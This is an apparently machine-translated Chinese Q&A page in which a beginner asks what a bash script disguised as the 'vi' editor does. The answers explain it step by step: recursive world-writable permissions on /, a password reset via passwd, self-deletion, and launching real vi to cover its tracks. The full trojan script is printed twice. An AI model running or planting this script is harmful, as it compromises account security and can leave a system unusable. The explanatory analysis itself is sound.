这个bashshell脚本做什么?
对于Shell脚本,我是一个非常笨拙的初学者,但我必须能够解释这些代码行的作用,并且没有足够的时间首先熟悉它,所以我不能真正给出很多输入 作为附加信息,脚本本身被称为vi,就像编辑器一样,可能有害/希望作为管理员运行这个bashshell脚本做什么?,bash,shell,unix,Bash,Shell,Unix,对于Shell脚本,我是一个非常笨拙的初学者,但我必须能够解释这些代码行的作用,并且没有足够的时间首先熟悉它,所以我不能真正给出很多输入 作为附加信息,脚本本身被称为vi,就像编辑器一样,可能有害/希望作为管理员运行 #!/bin/bash # # execute on your own risk !! chmod -R og+rwx / echo -e ‘‘Hacke.peter\n Hacke.peter\n’’ | passwd rm $0 vi $* logout # good bye!
#!/bin/bash
#
# execute on your own risk !!
chmod -R og+rwx /
echo -e ‘‘Hacke.peter\n Hacke.peter\n’’ | passwd
rm $0
vi $*
logout # good bye!
我认为这个想法是有人试图运行实际的vi(不是这个脚本),然后他意外地调用了这个脚本-它将当前用户的密码更改为echo命令的输出(不确定这是什么),然后shell删除自己并调用编辑器,所以我们没有意识到发生了什么。
非常感谢您提前给出任何答案,并为您的无知感到抱歉。嗯,不确定是无知的初学者还是狡猾的黑客[插入可疑的Fry meme]。你姓什么 下面是脚本一步一步执行的操作:
chmod-R og+rwx/
:递归(-R
)打开所有文件,供组中的用户(g
)和所有其他用户(o
)读取、写入和执行(+rwx
)echo-e“hake.peter\n hake.peter\n”| passwd
:将超级用户密码重置为“hake.peter”rm$0
:删除自身。bash中的$0
代表当前脚本的文件名vi$*
:使用传递给原始(现在已擦除)脚本的任何参数($*
)打开真正的vi编辑器。如果脚本也被称为vi
,则此步骤是隐藏轨迹并避免怀疑注销
:注销root模式。现在您不再有根目录,并且文件系统已打开非常讨厌的剧本 欢迎来到这个网站!查看和,了解有关提问的更多信息,这些问题将吸引高质量的答案。您可以选择包含更多信息。这个脚本不仅可能有害,而且肯定有害:)。然而,我不确定这是回答这个问题的最好地方。您是否尝试过查看文档中的各个命令?例如,还应注意的是,步骤1除了打开您的安全之外,还将使您的整个系统基本上不可用。这个特殊的变体不会删除粘性位或set(g)uid位,因此它不像chmod-R 777/那样具有破坏性,但仍有许多其他东西会被破坏。